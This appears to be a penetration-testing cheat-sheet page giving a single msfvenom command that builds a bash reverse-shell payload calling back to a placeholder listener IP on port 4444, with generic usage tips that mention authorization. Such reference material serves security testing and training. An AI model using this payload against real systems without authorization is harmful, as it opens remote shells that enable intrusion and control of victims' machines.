← All Kali Commands
💀 Exploitation Msfvenom

Bash reverse shell

Msfvenom command for bash reverse shell. Copy the command below and use it in your terminal.

msfvenom — terminal
┌──(kali㉿kali)-[~]
└─$
msfvenom -p cmd/unix/reverse_bash LHOST=IP LPORT=4444 -f raw
Tool
Msfvenom
Category
Exploitation
Purpose
Bash reverse shell

🛡️ Usage Tips

  • Always ensure you have proper authorization before using Msfvenom against any target
  • Replace target with the actual IP address or hostname you are testing
  • Run this command from a Kali Linux terminal or any system with Msfvenom installed
  • Combine with other Msfvenom commands for more comprehensive results
  • Pipe output to a file with > output.txt for later analysis
Found this useful? Share it.
Make it count. Join free to earn XP for what you read and solve, keep a streak, and track your progress.
Join free